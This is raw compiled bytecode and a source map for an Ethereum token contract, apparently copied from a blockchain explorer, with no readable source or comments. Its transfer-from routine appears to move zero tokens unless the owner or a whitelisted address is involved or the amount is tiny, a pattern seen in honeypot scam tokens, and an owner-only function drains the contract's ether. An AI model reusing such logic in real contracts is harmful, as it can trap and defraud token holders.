ffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461242957600080fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600d8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561254e5780601f106125235761010080835404028352916020019161254e565b820191906000526020600020905b81548152906001019060200180831161253157829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146125b157600080fd5b80601760026101000a81548160ff02191690831515021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461262857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601760019054906101000a900460ff1681565b601760039054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146127ea57600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015801561284c573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561290b5780601f106128e05761010080835404028352916020019161290b565b820191906000526020600020905b8154815290600101906020018083116128ee57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461296c57600080fd5b80601760006101000a81548160ff02191690831515021790555050565b600b5481565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a255780601f106129fa57610100808354040283529160200191612a25565b820191906000526020600020905b815481529060010190602001808311612a0857829003601f168201915b505050505081565b6000806000600f54601054601154925092509250909192565b600a5481565b60008060009050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612ab65750662386f26fc100008311155b80612b0d57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b80612b655750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b80612bbc57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80612c145750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15612c1d578290505b612c6f81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0481600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343390919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505092915050565b6000806000600854600954600a54925092509250909192565b60105481565b60115481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612e3557600080fd5b80600d9080519060200190612e4b92919061344d565b5050565b6000601760029054906101000a900460ff16905090565b600e8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612efc5780601f10612ed157610100808354040283529160200191612efc565b820191906000526020600020905b815481529060010190602001808311612edf57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612f5d57600080fd5b80601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015613162578082015181840152602081019050613147565b50505050905090810190601f16801561318f5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156131b157600080fd5b505af11580156131c5573d6000803e3d6000fd5b50505050600190509392505050565b600c8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561326a5780601f1061323f5761010080835404028352916020019161326a565b820191906000526020600020905b81548152906001019060200180831161324d57829003601f168201915b505050505081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601760009054906101000a900460ff16905090565b60125481565b601760009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146133a857600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008183029050600083148061340a57508183828161340757fe5b04145b61341357600080fd5b92915050565b60008282111561342857600080fd5b818303905092915050565b600081830190508281101561344757600080fd5b92915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061348e57805160ff19168380011785556134bc565b828001600101855582156134bc579182015b828111156134bb5782518255916020019190600101906134a0565b5b5090506134c991906134cd565b5090565b6134ef91905b808211156134eb5760008160009055506001016134d3565b5090565b9056fea265627a7a7230582022b452ce275fb493a3263efad5aff4a9e966b65400ab85c6b43bb20332af34ec64736f6c634300050a0032

Deployed Bytecode Sourcemap

4569:6511:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9177:13;:11;:13::i;:::-;;4569:6511;7752:99;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7752:99:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;7752:99:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7353:281;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7353:281:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7353:281:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;21:11:-1;8;5:28;2:2;;;46:1;43;36:12;2:2;7353:281:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;7353:281:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;7353:281:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;93:3;85:6;81:16;74:27;137:4;133:9;126:4;121:3;117:14;113:30;106:37;;169:3;161:6;157:16;147:26;;7353:281:0;;;;;;;;;;;;;;;:::i;:::-;;6424:86;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6424:86:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;2378:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2378:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;2378:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3659:234;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3659:234:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3659:234:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4606:25;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4606:25:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4638:27;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4638:27:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5028:24;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5028:24:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3371:117;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3371:117:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;9873:683;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9873:683:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;9873:683:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;5165:29;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5165:29:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;8694:280;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8694:280:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8694:280:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;21:11:-1;8;5:28;2:2;;;46:1;43;36:12;2:2;8694:280:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;8694:280:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;8694:280:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;93:3;85:6;81:16;74:27;137:4;133:9;126:4;121:3;117:14;113:30;106:37;;169:3;161:6;157:16;147:26;;8694:280:0;;;;;;;;;;;;;;;:::i;:::-;;2403:21;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2403:21:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;9206:82;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9206:82:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;7027:318;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7027:318:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7027:318:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;21:11:-1;8;5:28;2:2;;;46:1;43;36:12;2:2;7027:318:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;7027:318:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;7027:318:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;93:3;85:6;81:16;74:27;137:4;133:9;126:4;121:3;117:14;113:30;106:37;;169:3;161:6;157:16;147:26;;7027:318:0;;;;;;;;;;;;;;;:::i;:::-;;4839:25;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4839:25:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5862:461;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5862:461:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;5862:461:0;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;7642:102;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7642:102:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7642:102:0;;;;;;;;;;21:11:-1;8;5:28;2:2;;;46:1;43;36:12;2:2;7642:102:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;7642:102:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;7642:102:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;93:3;85:6;81:16;74:27;137:4;133:9;126:4;121:3;117:14;113:30;106:37;;169:3;161:6;157:16;147:26;;7642:102:0;;;;;;;;;;;;;;;:::i;:::-;;6331:85;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6331:85:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;5059:24;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5059:24:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;7956:92;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7956:92:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7956:92:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;3496:155;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3496:155:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3496:155:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8176:116;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8176:116:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;8176:116:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8501:91;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8501:91:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8501:91:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;2061:196;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2061:196:0;;;:::i;:::-;;5130:28;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5130:28:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;5201:31;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5201:31:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;8982:148;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8982:148:0;;;:::i;:::-;;1661:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1661:20:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4773:30;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4773:30:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;4773:30:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8300:95;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8300:95:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8300:95:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;4707:27;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4707:27:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;2351:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2351:20:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;2351:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6775:244;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6775:244:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4672:28;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4672:28:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;9296:569;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9296:569:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;9296:569:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;6518:249;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6518:249:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4871:27;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4871:27:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4905;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4905:27:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8056:112;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8056:112:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8056:112:0;;;;;;;;;;21:11:-1;8;5:28;2:2;;;46:1;43;36:12;2:2;8056:112:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;8056:112:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;8056:112:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;93:3;85:6;81:16;74:27;137:4;133:9;126:4;121:3;117:14;113:30;106:37;;169:3;161:6;157:16;147:26;;8056:112:0;;;;;;;;;;;;;;;:::i;:::-;;8600:86;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8600:86:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4810:22;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4810:22:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;4810:22:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7859:89;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7859:89:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7859:89:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;4091:433;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4091:433:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4091:433:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21:11:-1;8;5:28;2:2;;;46:1;43;36:12;2:2;4091:433:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;4091:433:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;4091:433:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;93:3;85:6;81:16;74:27;137:4;133:9;126:4;121:3;117:14;113:30;106:37;;169:3;161:6;157:16;147:26;;4091:433:0;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4741:25;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4741:25:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;4741:25:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1688:23;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1688:23:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;3901:182;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3901:182:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3901:182:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8403:90;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8403:90:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4939:22;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4939:22:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5092:31;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5092:31:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;1951:102;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1951:102:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;1951:102:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;5411:443;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;5458:12;5504:10;5491:9;:23;;5483:32;;;;;;5526:12;;:14;;;;;;;;;;;;;5551:15;5617:7;5587:27;5604:9;5587:12;;:16;;:27;;;;:::i;:::-;:37;;;;;;5577:47;;5661:36;5689:7;5661:8;:23;5678:4;5661:23;;;;;;;;;;;;;;;;:27;;:36;;;;:::i;:::-;5635:8;:23;5652:4;5635:23;;;;;;;;;;;;;;;:62;;;;5731:33;5756:7;5731:8;:20;5740:10;5731:20;;;;;;;;;;;;;;;;:24;;:33;;;;:::i;:::-;5708:8;:20;5717:10;5708:20;;;;;;;;;;;;;;;:56;;;;5804:10;5780:44;;5797:4;5780:44;;;5816:7;5780:44;;;;;;;;;;;;;;;;;;5842:4;5835:11;;;5411:443;:::o;7752:99::-;7799:13;7832:11;7825:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7752:99;:::o;7353:281::-;1917:5;;;;;;;;;;;1903:19;;:10;:19;;;1895:28;;;;;;7520:13;7505:12;:28;;;;7557:11;7544:10;:24;;;;7594:1;7579:12;:16;;;;7620:6;7606:11;:20;;;;;;;;;;;;:::i;:::-;;7353:281;;;:::o;6424:86::-;6468:7;6495;;;;;;;;;;;6488:14;;6424:86;:::o;2378:18::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3659:234::-;3743:12;3804:6;3773:7;:19;3781:10;3773:19;;;;;;;;;;;;;;;:28;3793:7;3773:28;;;;;;;;;;;;;;;:37;;;;3847:7;3826:37;;3835:10;3826:37;;;3856:6;3826:37;;;;;;;;;;;;;;;;;;3881:4;3874:11;;3659:234;;;;:::o;4606:25::-;;;;:::o;4638:27::-;;;;:::o;5028:24::-;;;;:::o;3371:117::-;3415:7;3442:38;3459:8;:20;3476:1;3459:20;;;;;;;;;;;;;;;;3442:12;;:16;;:38;;;;:::i;:::-;3435:45;;3371:117;:::o;9873:683::-;9987:12;10012:23;10038:1;10012:27;;10062:7;;;;;;;;;;;10054:15;;:4;:15;;;:44;;;;10081:17;10073:6;:25;;10054:44;:66;;;;10115:5;;;;;;;;;;;10102:18;;:9;:18;;;10054:66;:90;;;;10137:7;;;;;;;;;;;10124:20;;:9;:20;;;10054:90;:113;;;;10162:5;;;;;;;;;;;10148:19;;:10;:19;;;10054:113;:138;;;;10185:7;;;;;;;;;;;10171:21;;:10;:21;;;10054:138;10050:195;;;10227:6;10209:24;;10050:195;10272:35;10291:15;10272:8;:14;10281:4;10272:14;;;;;;;;;;;;;;;;:18;;:35;;;;:::i;:::-;10255:8;:14;10264:4;10255:14;;;;;;;;;;;;;;;:52;;;;10346:70;10390:15;10346:7;:13;10354:4;10346:13;;;;;;;;;;;;;;;:25;10360:10;10346:25;;;;;;;;;;;;;;;;:29;;:70;;;;:::i;:::-;10318:7;:13;10326:4;10318:13;;;;;;;;;;;;;;;:25;10332:10;10318:25;;;;;;;;;;;;;;;:98;;;;10442:33;10459:15;10442:8;:12;10451:2;10442:12;;;;;;;;;;;;;;;;:16;;:33;;;;:::i;:::-;10427:8;:12;10436:2;10427:12;;;;;;;;;;;;;;;:48;;;;10506:2;10491:35;;10500:4;10491:35;;;10510:15;10491:35;;;;;;;;;;;;;;;;;;10544:4;10537:11;;;9873:683;;;;;:::o;5165:29::-;;;;;;;;;;;;;:::o;8694:280::-;1917:5;;;;;;;;;;;1903:19;;:10;:19;;;1895:28;;;;;;8849:10;8837:9;:22;;;;8880:8;8870:7;:18;;;;8911:1;8899:9;:13;;;;8934:6;8923:8;:17;;;;;;;;;;;;:::i;:::-;;8962:4;8951:8;;:15;;;;;;;;;;;;;;;;;;8694:280;;;:::o;2403:21::-;;;;;;;;;;;;;:::o;9206:82::-;9243:10;9273:7;;;;;;;;;;;9266:14;;9206:82;:::o;7027:318::-;1917:5;;;;;;;;;;;1903:19;;:10;:19;;;1895:28;;;;;;7196:14;7180:13;:30;;;;7234:11;7221:10;:24;;;;7271:1;7256:12;:16;;;;7297:4;7283:11;;:18;;;;;;;;;;;;;;;;;;7331:6;7312:16;:25;;;;;;;;;;;;:::i;:::-;;7027:318;;;:::o;4839:25::-;;;;:::o;5862:461::-;5917:12;5950:9;;;;;;;;;;;5942:18;;;;;;5990:13;;5979:7;:24;;5971:33;;;;;;6038:10;;6023:12;;:25;:44;;;;6066:1;6052:10;;:15;6023:44;6015:53;;;;;;6079:12;;:14;;;;;;;;;;;;;6130:36;6158:7;6130:8;:23;6147:4;6130:23;;;;;;;;;;;;;;;;:27;;:36;;;;:::i;:::-;6104:8;:23;6121:4;6104:23;;;;;;;;;;;;;;;:62;;;;6200:33;6225:7;6200:8;:20;6209:10;6200:20;;;;;;;;;;;;;;;;:24;;:33;;;;:::i;:::-;6177:8;:20;6186:10;6177:20;;;;;;;;;;;;;;;:56;;;;6273:10;6249:44;;6266:4;6249:44;;;6285:7;6249:44;;;;;;;;;;;;;;;;;;6311:4;6304:11;;5862:461;;;:::o;7642:102::-;1917:5;;;;;;;;;;;1903:19;;:10;:19;;;1895:28;;;;;;7730:6;7716:11;:20;;;;;;;;;;;;:::i;:::-;;7642:102;:::o;6331:85::-;6374:7;6401;;;;;;;;;;;6394:14;;6331:85;:::o;5059:24::-;;;;:::o;7956:92::-;1917:5;;;;;;;;;;;1903:19;;:10;:19;;;1895:28;;;;;;8032:8;8022:7;;:18;;;;;;;;;;;;;;;;;;7956:92;:::o;3496:155::-;3583:15;3623:8;:20;3632:10;3623:20;;;;;;;;;;;;;;;;3616:27;;3496:155;;;:::o;8176:116::-;8228:20;8268:16;8261:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8176:116;:::o;8501:91::-;1917:5;;;;;;;;;;;1903:19;;:10;:19;;;1895:28;;;;;;8577:7;8565:9;;:19;;;;;;;;;;;;;;;;;;8501:91